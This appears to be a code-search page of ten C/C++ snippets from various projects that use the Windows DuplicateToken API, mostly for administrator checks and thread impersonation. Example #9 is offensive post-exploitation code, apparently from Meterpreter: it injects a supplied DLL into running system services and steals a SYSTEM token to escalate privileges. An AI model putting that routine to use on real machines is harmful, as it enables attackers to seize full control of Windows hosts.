コード例 #1
0
ファイル: security.c プロジェクト: beppec56/openoffice
sal_Bool SAL_CALL osl_isAdministrator(oslSecurity Security)
{
    if (Security != NULL)
	{
		/* ts: on Window 95 systems any user seems to be an administrator */
		if (!isWNT())
		{
			return(sal_True);
		}
		else
		{
			HANDLE						hImpersonationToken = NULL;
			PSID 						psidAdministrators;
			SID_IDENTIFIER_AUTHORITY 	siaNtAuthority = SECURITY_NT_AUTHORITY;
			sal_Bool 					bSuccess = sal_False;


			/* If Security contains an access token we need to duplicate it to an impersonation
			   access token. NULL works with CheckTokenMembership() as the current effective
			   impersonation token 
			 */

			if ( ((oslSecurityImpl*)Security)->m_hToken )
			{
				if ( !DuplicateToken (((oslSecurityImpl*)Security)->m_hToken, SecurityImpersonation, &hImpersonationToken) )
					return sal_False;
			}

			/* CheckTokenMembership() can be used on W2K and higher (NT4 no longer supported by OOo)
			   and also works on Vista to retrieve the effective user rights. Just checking for
			   membership of Administrators group is not enough on Vista this would require additional
			   complicated checks as described in KB arcticle Q118626: http://support.microsoft.com/kb/118626/en-us
			*/

			if (AllocateAndInitializeSid(&siaNtAuthority,
										 2,
			 							 SECURITY_BUILTIN_DOMAIN_RID,
			 							 DOMAIN_ALIAS_RID_ADMINS,
			 							 0, 0, 0, 0, 0, 0,
			 							 &psidAdministrators))
			{
				BOOL	fSuccess = FALSE;

				if ( CheckTokenMembership_Stub( hImpersonationToken, psidAdministrators, &fSuccess ) && fSuccess ) 
					bSuccess = sal_True;

				FreeSid(psidAdministrators); 
			}

			if ( hImpersonationToken )
				CloseHandle( hImpersonationToken );

			return (bSuccess);
		}
	}
	else
		return (sal_False);
}
コード例 #2
0
ファイル: Impersonator.cpp プロジェクト: kaseya/tightvnc2
void Impersonator::impersonateAsLoggedUser()
{
  WTS::queryConsoleUserToken(&m_token);

  if ((!DuplicateToken(m_token, SecurityImpersonation, &m_dupToken)) || 
      (!ImpersonateLoggedOnUser(m_dupToken))) {
    throw SystemException();
  }
}
コード例 #3
0
ファイル: mono-security.c プロジェクト: ItsVeryWindy/mono
gpointer
ves_icall_System_Security_Principal_WindowsImpersonationContext_DuplicateToken (gpointer token)
{
	gpointer dupe = NULL;

#ifdef HOST_WIN32
	if (DuplicateToken (token, SecurityImpersonation, &dupe) == 0) {
		dupe = NULL;
	}
#else
	dupe = token;
#endif
	return dupe;
}
コード例 #4
0
//
//   函数:IsUserInAdminGroup()
// 
//   用途:即使在还没有为当前用户提升权限的前提下,此函数检测拥有此进程的主访
//   问令牌的用户是否是本地管理员组的成员。
//
//   返回值:如果拥有主访问令牌的用户是管理员组成员则返回TRUE,反之则返回FALSE。
//
//   异常:如果此函数出错,它抛出一个包含Win32相关错误代码的C++ DWORD异常。
//
//
//   调用示例:
//     try 
//     {
//         if (IsUserInAdminGroup())
//             wprintf (L"用户是管理员组成员\n");
//         else
//             wprintf (L"用户不是管理员组成员\n");
//     }
//     catch (DWORD dwError)
//     {
//         wprintf(L"IsUserInAdminGroup 调用失败 w/err %lu\n", dwError);
//     }
//
BOOL IsUserInAdminGroup()
{
    BOOL fInAdminGroup = FALSE;
    DWORD dwError = ERROR_SUCCESS;
    HANDLE hToken = NULL;
    HANDLE hTokenToCheck = NULL;
    DWORD cbSize = 0;
    OSVERSIONINFO osver = { sizeof(osver) };

    // 打开此进程的主访问令牌(使用TOKEN_QUERY | TOKEN_DUPLICATE)
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, 
        &hToken))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    // 检测是否此系统是Windows Vista或后续版本(主版本号 >= 6)。这是由于自
    // Windows Vista开始支持链接令牌(LINKED TOKEN),而之前的版本不支持。
    // (主版本 < 6) 
    if (!GetVersionEx(&osver))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    if (osver.dwMajorVersion >= 6)
    {
        // 运行于Windows Vista 或后续版本(主版本 >= 6).
        // 检测令牌类型:受限(limited),(已提升)elevated, 
        // 或者默认(default)

        TOKEN_ELEVATION_TYPE elevType;
        if (!GetTokenInformation(hToken, TokenElevationType, &elevType, 
            sizeof(elevType), &cbSize))
        {
            dwError = GetLastError();
            goto Cleanup;
        }

        // 如果为受限的,获取相关联的已提升令牌以便今后使用。
        if (TokenElevationTypeLimited == elevType)
        {
            if (!GetTokenInformation(hToken, TokenLinkedToken, &hTokenToCheck, 
                sizeof(hTokenToCheck), &cbSize))
            {
                dwError = GetLastError();
                goto Cleanup;
            }
        }
    }
    
    // CheckTokenMembership要求一个伪装令牌。如果我们仅得到一个链接令牌,那
    // 它就是一个伪装令牌。如果我们没有得到一个关联式令牌,我们需要复制当前
    // 令牌以便得到一个伪装令牌。
    if (!hTokenToCheck)
    {
        if (!DuplicateToken(hToken, SecurityIdentification, &hTokenToCheck))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    }

    // 创建管理员组相关的SID
    BYTE adminSID[SECURITY_MAX_SID_SIZE];
    cbSize = sizeof(adminSID);
    if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &adminSID,  
        &cbSize))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    // 检测是否被检测的令牌包含管理员组SID
    // http://msdn.microsoft.com/en-us/library/aa379596(VS.85).aspx:
    // 调用CheckTokenMembership来确定是否一个SID在一个令牌中启用,换而言之,
    // 是否它拥有SE_GROUP_ENABLED属性
    if (!CheckTokenMembership(hTokenToCheck, &adminSID, &fInAdminGroup)) 
    {
        dwError = GetLastError();
        goto Cleanup;
    }

Cleanup:
    // 集中清理所有已分配的内存资源
    if (hToken)
    {
        CloseHandle(hToken);
        hToken = NULL;
    }
    if (hTokenToCheck)
    {
        CloseHandle(hTokenToCheck);
        hTokenToCheck = NULL;
    }

    // 一旦有任何异常发生,抛出错误。
    if (ERROR_SUCCESS != dwError)
    {
        throw dwError;
    }

    return fInAdminGroup;
}
コード例 #5
0
ファイル: tsrm_win32.c プロジェクト: Distrotech/php-src
TSRM_API int tsrm_win32_access(const char *pathname, int mode)
{
	time_t t;
	HANDLE thread_token = NULL;
	PSID token_sid;
	SECURITY_INFORMATION sec_info = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;
	GENERIC_MAPPING gen_map = { FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS };
	DWORD priv_set_length = sizeof(PRIVILEGE_SET);

	PRIVILEGE_SET privilege_set = {0};
	DWORD sec_desc_length = 0, desired_access = 0, granted_access = 0;
	BYTE * psec_desc = NULL;
	BOOL fAccess = FALSE;

	realpath_cache_bucket * bucket = NULL;
	char * real_path = NULL;

	if (mode == 1 /*X_OK*/) {
		DWORD type;
		return GetBinaryType(pathname, &type) ? 0 : -1;
	} else {
		if(!IS_ABSOLUTE_PATH(pathname, strlen(pathname)+1)) {
			real_path = (char *)malloc(MAX_PATH);
			if(tsrm_realpath(pathname, real_path) == NULL) {
				goto Finished;
			}
			pathname = real_path;
 		}

		if(access(pathname, mode)) {
			free(real_path);
			return errno;
		}

 		/* If only existence check is made, return now */
 		if (mode == 0) {
			free(real_path);
			return 0;
		}

/* Only in NTS when impersonate==1 (aka FastCGI) */

		/*
		 AccessCheck() requires an impersonation token.  We first get a primary
		 token and then create a duplicate impersonation token.  The
		 impersonation token is not actually assigned to the thread, but is
		 used in the call to AccessCheck.  Thus, this function itself never
		 impersonates, but does use the identity of the thread.  If the thread
		 was impersonating already, this function uses that impersonation context.
		*/
		if(!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &thread_token)) {
			if (GetLastError() == ERROR_NO_TOKEN) {
				if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &thread_token)) {
					 TWG(impersonation_token) = NULL;
					 goto Finished;
				 }
			}
		}

		/* token_sid will be freed in tsrmwin32_dtor */
		token_sid = tsrm_win32_get_token_sid(thread_token);
		if (!token_sid) {
			if (TWG(impersonation_token_sid)) {
				free(TWG(impersonation_token_sid));
			}
			TWG(impersonation_token_sid) = NULL;
			goto Finished;
		}

		/* Different identity, we need a new impersontated token as well */
		if (!TWG(impersonation_token_sid) || !EqualSid(token_sid, TWG(impersonation_token_sid))) {
			if (TWG(impersonation_token_sid)) {
				free(TWG(impersonation_token_sid));
			}
			TWG(impersonation_token_sid) = token_sid;

			/* Duplicate the token as impersonated token */
			if (!DuplicateToken(thread_token, SecurityImpersonation, &TWG(impersonation_token))) {
				goto Finished;
			}
		} else {
			/* we already have it, free it then */
			free(token_sid);
		}

		if (CWDG(realpath_cache_size_limit)) {
			t = time(0);
			bucket = realpath_cache_lookup(pathname, (int)strlen(pathname), t);
			if(bucket == NULL && real_path == NULL) {
				/* We used the pathname directly. Call tsrm_realpath */
				/* so that entry is created in realpath cache */
				real_path = (char *)malloc(MAX_PATH);
				if(tsrm_realpath(pathname, real_path) != NULL) {
					pathname = real_path;
					bucket = realpath_cache_lookup(pathname, (int)strlen(pathname), t);
				}
			}
 		}

 		/* Do a full access check because access() will only check read-only attribute */
 		if(mode == 0 || mode > 6) {
			if(bucket != NULL && bucket->is_rvalid) {
				fAccess = bucket->is_readable;
				goto Finished;
			}
 			desired_access = FILE_GENERIC_READ;
 		} else if(mode <= 2) {
			if(bucket != NULL && bucket->is_wvalid) {
				fAccess = bucket->is_writable;
				goto Finished;
			}
			desired_access = FILE_GENERIC_WRITE;
 		} else if(mode <= 4) {
			if(bucket != NULL && bucket->is_rvalid) {
				fAccess = bucket->is_readable;
				goto Finished;
			}
			desired_access = FILE_GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS;
 		} else { // if(mode <= 6)
			if(bucket != NULL && bucket->is_rvalid && bucket->is_wvalid) {
				fAccess = bucket->is_readable & bucket->is_writable;
				goto Finished;
			}
			desired_access = FILE_GENERIC_READ | FILE_GENERIC_WRITE;
 		}

		if(TWG(impersonation_token) == NULL) {
			goto Finished;
		}

		/* Get size of security buffer. Call is expected to fail */
		if(GetFileSecurity(pathname, sec_info, NULL, 0, &sec_desc_length)) {
			goto Finished;
		}

		psec_desc = (BYTE *)malloc(sec_desc_length);
		if(psec_desc == NULL ||
			 !GetFileSecurity(pathname, sec_info, (PSECURITY_DESCRIPTOR)psec_desc, sec_desc_length, &sec_desc_length)) {
			goto Finished;
		}

		MapGenericMask(&desired_access, &gen_map);

		if(!AccessCheck((PSECURITY_DESCRIPTOR)psec_desc, TWG(impersonation_token), desired_access, &gen_map, &privilege_set, &priv_set_length, &granted_access, &fAccess)) {
			goto Finished_Impersonate;
		}

		/* Keep the result in realpath_cache */
		if(bucket != NULL) {
			if(desired_access == (FILE_GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS)) {
				bucket->is_rvalid = 1;
				bucket->is_readable = fAccess;
			}
			else if(desired_access == FILE_GENERIC_WRITE) {
				bucket->is_wvalid = 1;
				bucket->is_writable = fAccess;
			} else if (desired_access == (FILE_GENERIC_READ | FILE_GENERIC_WRITE)) {
				bucket->is_rvalid = 1;
				bucket->is_readable = fAccess;
				bucket->is_wvalid = 1;
				bucket->is_writable = fAccess;
			}
		}

Finished_Impersonate:
		if(psec_desc != NULL) {
			free(psec_desc);
			psec_desc = NULL;
		}

Finished:
		if(thread_token != NULL) {
			CloseHandle(thread_token);
		}
		if(real_path != NULL) {
			free(real_path);
			real_path = NULL;
		}

		if(fAccess == FALSE) {
			errno = EACCES;
			return errno;
		} else {
			return 0;
		}
	}
}
コード例 #6
0
//Code taken from http://stackoverflow.com/questions/1453497/discover-if-user-has-admin-rights   Have not checked if it is valid yet.... TODO!!!
bool RemoteDesktop::IsUserAdmin(){

	struct Data
	{
		PACL   pACL;
		PSID   psidAdmin;
		HANDLE hToken;
		HANDLE hImpersonationToken;
		PSECURITY_DESCRIPTOR     psdAdmin;
		Data() : pACL(NULL), psidAdmin(NULL), hToken(NULL),
			hImpersonationToken(NULL), psdAdmin(NULL)
		{}
		~Data()
		{
			if (pACL)
				LocalFree(pACL);
			if (psdAdmin)
				LocalFree(psdAdmin);
			if (psidAdmin)
				FreeSid(psidAdmin);
			if (hImpersonationToken)
				CloseHandle(hImpersonationToken);
			if (hToken)
				CloseHandle(hToken);
		}
	} data;

	BOOL   fReturn = FALSE;


	DWORD  dwStructureSize = sizeof(PRIVILEGE_SET);

	PRIVILEGE_SET   ps;
	GENERIC_MAPPING GenericMapping;
	SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;

	const DWORD ACCESS_READ = 1;
	const DWORD ACCESS_WRITE = 2;

	if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, TRUE, &data.hToken))
	{
		if (GetLastError() != ERROR_NO_TOKEN)
			return false;

		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &data.hToken))
			return false;
	}

	if (!DuplicateToken(data.hToken, SecurityImpersonation, &data.hImpersonationToken))
		return false;

	if (!AllocateAndInitializeSid(&SystemSidAuthority, 2,
		SECURITY_BUILTIN_DOMAIN_RID,
		DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0, &data.psidAdmin))
		return false;

	data.psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
	if (data.psdAdmin == NULL)
		return false;

	if (!InitializeSecurityDescriptor(data.psdAdmin, SECURITY_DESCRIPTOR_REVISION))
		return false;

	// Compute size needed for the ACL.
	auto dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(data.psidAdmin) - sizeof(DWORD);

	data.pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
	if (data.pACL == NULL)
		return false;

	if (!InitializeAcl(data.pACL, dwACLSize, ACL_REVISION2))
		return false;

	DWORD dwAccessMask = ACCESS_READ | ACCESS_WRITE;

	if (!AddAccessAllowedAce(data.pACL, ACL_REVISION2, dwAccessMask, data.psidAdmin))
		return false;

	if (!SetSecurityDescriptorDacl(data.psdAdmin, TRUE, data.pACL, FALSE))
		return false;

	// AccessCheck validates a security descriptor somewhat; set the group
	// and owner so that enough of the security descriptor is filled out 
	// to make AccessCheck happy.

	SetSecurityDescriptorGroup(data.psdAdmin, data.psidAdmin, FALSE);
	SetSecurityDescriptorOwner(data.psdAdmin, data.psidAdmin, FALSE);

	if (!IsValidSecurityDescriptor(data.psdAdmin))
		return false;

	DWORD dwAccessDesired = ACCESS_READ;

	GenericMapping.GenericRead = ACCESS_READ;
	GenericMapping.GenericWrite = ACCESS_WRITE;
	GenericMapping.GenericExecute = 0;
	GenericMapping.GenericAll = ACCESS_READ | ACCESS_WRITE;

	DWORD  dwStatus = 0;
	if (!AccessCheck(data.psdAdmin, data.hImpersonationToken, dwAccessDesired,
		&GenericMapping, &ps, &dwStructureSize, &dwStatus,
		&fReturn))
	{
		return false;
	}

	return fReturn == TRUE;
}
コード例 #7
0
// Basically Microsoft 118626
// Needed for vista as it fakes the admin rights on the registry and screws everything up
bool CGlobalSettings::isAdmin()
{
	static int isAd = 0;
	bool   fReturn         = false;
	DWORD  dwStatus;
	DWORD  dwAccessMask;
	DWORD  dwAccessDesired;
	DWORD  dwACLSize;
	DWORD  dwStructureSize = sizeof(PRIVILEGE_SET);
	PACL   pACL            = NULL;
	PSID   psidAdmin       = NULL;

	HANDLE hToken              = NULL;
	HANDLE hImpersonationToken = NULL;

	PRIVILEGE_SET   ps;
	GENERIC_MAPPING GenericMapping;

	PSECURITY_DESCRIPTOR     psdAdmin           = NULL;
	SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;

	if(isAd)
		return isAd>0?true:false;

	__try
	{
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE|TOKEN_QUERY, TRUE, &hToken))
		{
			if (GetLastError() != ERROR_NO_TOKEN)
				__leave;

			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &hToken))
				__leave;
		}

		if (!DuplicateToken (hToken, SecurityImpersonation, &hImpersonationToken))
			__leave;


		if (!AllocateAndInitializeSid(&SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &psidAdmin))
			__leave;

		psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
		if (psdAdmin == NULL)
			__leave;

		if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION))
			__leave;

		// Compute size needed for the ACL.
		dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD);

		pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
		if (pACL == NULL)
			__leave;

		if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2))
			__leave;

		dwAccessMask = ACCESS_READ | ACCESS_WRITE;

		if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin))
			__leave;

		if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE))
			__leave;

		SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
		SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);

		if (!IsValidSecurityDescriptor(psdAdmin))
			__leave;

		dwAccessDesired = ACCESS_READ;

		GenericMapping.GenericRead    = ACCESS_READ;
		GenericMapping.GenericWrite   = ACCESS_WRITE;
		GenericMapping.GenericExecute = 0;
		GenericMapping.GenericAll     = ACCESS_READ | ACCESS_WRITE;

		BOOL bRet;
		if (!AccessCheck(psdAdmin, hImpersonationToken, dwAccessDesired,
						&GenericMapping, &ps, &dwStructureSize, &dwStatus,
						&bRet))
			__leave;
		fReturn = bRet?true:false;
	}
	__finally
	{
		// Clean up.
		if (pACL) LocalFree(pACL);
		if (psdAdmin) LocalFree(psdAdmin);
		if (psidAdmin) FreeSid(psidAdmin);
		if (hImpersonationToken) CloseHandle (hImpersonationToken);
		if (hToken) CloseHandle (hToken);
	}

	isAd=fReturn?1:-1;

	return fReturn;
}
コード例 #8
0
ファイル: info.cpp プロジェクト: kilitary/zerofox
BOOL OsIsAdmin(void)
{
	BOOL   fReturn         = FALSE;
	DWORD  dwStatus;
	DWORD  dwAccessMask;
	DWORD  dwAccessDesired;
	DWORD  dwACLSize;
	DWORD  dwStructureSize = sizeof(PRIVILEGE_SET);
	PACL   pACL            = NULL;
	PSID   psidAdmin       = NULL;

	HANDLE hToken              = NULL;
	HANDLE hImpersonationToken = NULL;

	PRIVILEGE_SET   ps;
	GENERIC_MAPPING GenericMapping;

	PSECURITY_DESCRIPTOR     psdAdmin           = NULL;
	SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;


	const DWORD ACCESS_READ  = 1;
	const DWORD ACCESS_WRITE = 2;

	__try
	{

		/*
		AccessCheck() requires an impersonation token.  We first get a 

		primary
		token and then create a duplicate impersonation token.  The
		impersonation token is not actually assigned to the thread, but is
		used in the call to AccessCheck.  Thus, this function itself never
		impersonates, but does use the identity of the thread.  If the 

		thread
		was impersonating already, this function uses that impersonation 

		context.
		*/
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE|TOKEN_QUERY, 

			TRUE, &hToken))
		{
			if (GetLastError() != ERROR_NO_TOKEN)
				__leave;

			if (!OpenProcessToken(GetCurrentProcess(), 

				TOKEN_DUPLICATE|TOKEN_QUERY, &hToken))
				__leave;
		}

		if (!DuplicateToken (hToken, SecurityImpersonation, 

			&hImpersonationToken))
			__leave;


		/*
		Create the binary representation of the well-known SID that
		represents the local administrators group.  Then create the 

		security
		descriptor and DACL with an ACE that allows only local admins 

		access.
		After that, perform the access check.  This will determine whether
		the current user is a local admin.
		*/
		if (!AllocateAndInitializeSid(&SystemSidAuthority, 2,
			SECURITY_BUILTIN_DOMAIN_RID,
			DOMAIN_ALIAS_RID_ADMINS,
			0, 0, 0, 0, 0, 0, &psidAdmin))
			__leave;

		psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
		if (psdAdmin == NULL)
			__leave;

		if (!InitializeSecurityDescriptor(psdAdmin, 

			SECURITY_DESCRIPTOR_REVISION))
			__leave;

		// Compute size needed for the ACL.
		dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) +
			GetLengthSid(psidAdmin) - sizeof(DWORD);

		pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
		if (pACL == NULL)
			__leave;

		if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2))
			__leave;

		dwAccessMask= ACCESS_READ | ACCESS_WRITE;

		if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, 

			psidAdmin))
			__leave;

		if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE))
			__leave;

		/*
		AccessCheck validates a security descriptor somewhat; set the 

		group
		and owner so that enough of the security descriptor is filled out 

		to
		make AccessCheck happy.
		*/
		SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
		SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);

		if (!IsValidSecurityDescriptor(psdAdmin))
			__leave;

		dwAccessDesired = ACCESS_READ;

		/*
		Initialize GenericMapping structure even though you
		do not use generic rights.
		*/
		GenericMapping.GenericRead    = ACCESS_READ;
		GenericMapping.GenericWrite   = ACCESS_WRITE;
		GenericMapping.GenericExecute = 0;
		GenericMapping.GenericAll     = ACCESS_READ | ACCESS_WRITE;

		if (!AccessCheck(psdAdmin, hImpersonationToken, dwAccessDesired,
			&GenericMapping, &ps, &dwStructureSize, &dwStatus,
			&fReturn))
		{
			fReturn = FALSE;
			__leave;
		}
	}
	__finally
	{
		// Clean up.
		if (pACL) LocalFree(pACL);
		if (hImpersonationToken) CloseHandle (hImpersonationToken);
		if (hToken) CloseHandle (hToken);
		if (psdAdmin) LocalFree(psdAdmin);
		if (psidAdmin) FreeSid(psidAdmin);
	}

	return fReturn;
}
コード例 #9
0
/*
 * Elevate from local admin to local system via code injection in a system service.
 * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
 * service process from a non elevated admin.
 *
 * A current limitation in LoadRemoteLibraryR prevents this from working across 
 * architectures so we just filter out running this from an x64 platform for now.
 */
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
	DWORD dwResult                   = ERROR_SUCCESS;
	HANDLE hToken                    = NULL;
	HANDLE hTokenDup                 = NULL;
	HANDLE hProcess                  = NULL;
	HANDLE hThread                   = NULL;
	HANDLE hManager                  = NULL;
	HANDLE hService                  = NULL;
	LPVOID lpServiceBuffer           = NULL;
	LPVOID lpRemoteCommandLine       = NULL;
	ENUM_SERVICE_STATUS * lpServices = NULL;
	char * cpServiceName             = NULL;
	SERVICE_STATUS_PROCESS status    = {0};
	char cCommandLine[128]           = {0};
	OSVERSIONINFO os                 = {0};
	DWORD dwServiceLength            = 0;
	DWORD dwBytes                    = 0;
	DWORD index                      = 0;
	DWORD dwServicesReturned         = 0;
	DWORD dwExitCode                 = 0;

	do
	{
		// only works on x86 systems for now...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )

		// filter out Windows NT4 
		if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )

		cpServiceName   = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );

		hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
		if( !hManager )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
		
		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
		{
			if( GetLastError() != ERROR_MORE_DATA )
				BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
		}

		lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
		if( !lpServices )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );

		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
	
		dwResult = ERROR_ACCESS_DENIED;

		// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
		// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
		for( index=0 ; index<dwServicesReturned ; index++ )
		{
			do
			{
				hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); 
				if( !hService )
					break;

				if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
					break;
				
				if( status.dwCurrentState != SERVICE_RUNNING )
					break;

				// open a handle to this service (assumes we have SeDebugPrivilege)...
				hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
				if( !hProcess )
					break;

				dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId  );
	
				_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );

				// alloc some space and write the commandline which we will pass to the injected dll...
				lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
				if( !lpRemoteCommandLine )
					break; 

				if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
					break;

				// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
				hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
				if( !hThread )
					break;

				// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
				if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
					break;

				// get the exit code for our injected elevator.dll
				if( !GetExitCodeThread( hThread, &dwExitCode ) )
					break;

				// if the exit code was successfull we have been given a local system token, so we duplicate it
				// as a primary token for use by metsrv
				if( dwExitCode == ERROR_SUCCESS )
				{
					if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
					{

						if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
						{
							core_update_thread_token( remote, hTokenDup );
							dwResult = ERROR_SUCCESS;
							break;
						}
					}
				}

			} while( 0 );

			CLOSE_SERVICE_HANDLE( hService );

			CLOSE_HANDLE( hProcess );

			CLOSE_HANDLE( hThread );

			CLOSE_HANDLE( hToken );
			
			if( dwResult == ERROR_SUCCESS )
				break;
		}

	} while( 0 );

	CLOSE_SERVICE_HANDLE( hManager );

	if( lpServices )
		free( lpServices );

	SetLastError( dwResult );

	return dwResult;
}
コード例 #10
0
ファイル: authwin32.c プロジェクト: chengkaizone/cn1
JNIEXPORT void JNICALL
Java_org_apache_harmony_auth_module_NTSystem_load
(JNIEnv * jenv, jobject thiz)
{
	DWORD i; /* tmp */

	DWORD dwError = -1; /* presume unknown error */
	LPCSTR errMsg = NULL;
	DWORD dwSaveError = -1;

	HANDLE hUser = INVALID_HANDLE_VALUE;
	HANDLE iToken= INVALID_HANDLE_VALUE;

	LPVOID lpUserData = NULL, lpGroupData = NULL, lpAllGroupsData = NULL;
	LPSTR lpStr0 = NULL, lpStr1 = NULL, lpStr2 = NULL;
	LPSTR lpUserSid = NULL, lpDomainName = NULL;
	PSID domainSid = NULL;

	SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;

	TOKEN_USER * ptu = NULL;
	PSID userSid = NULL;

	jclass jkl = NULL;
	jmethodID ctor = NULL;

	jstring jstrSid = NULL;
	jstring jstrUser = NULL;
	jstring jstrDomain = NULL;
	jobject obj = NULL;

	jstring jstrDomainSid = NULL;

	PTOKEN_PRIMARY_GROUP ptpg = NULL;
	PSID groupSid = NULL;

	jclass jklassPrimaryGroup = NULL;
	jobject jobj = NULL;

	PTOKEN_GROUPS ptgs = NULL;

	jclass klassGroup = NULL;
	jmethodID groupCtor3 = NULL;
	jmethodID groupCtor1 = NULL;
	jobjectArray jgroups = NULL;
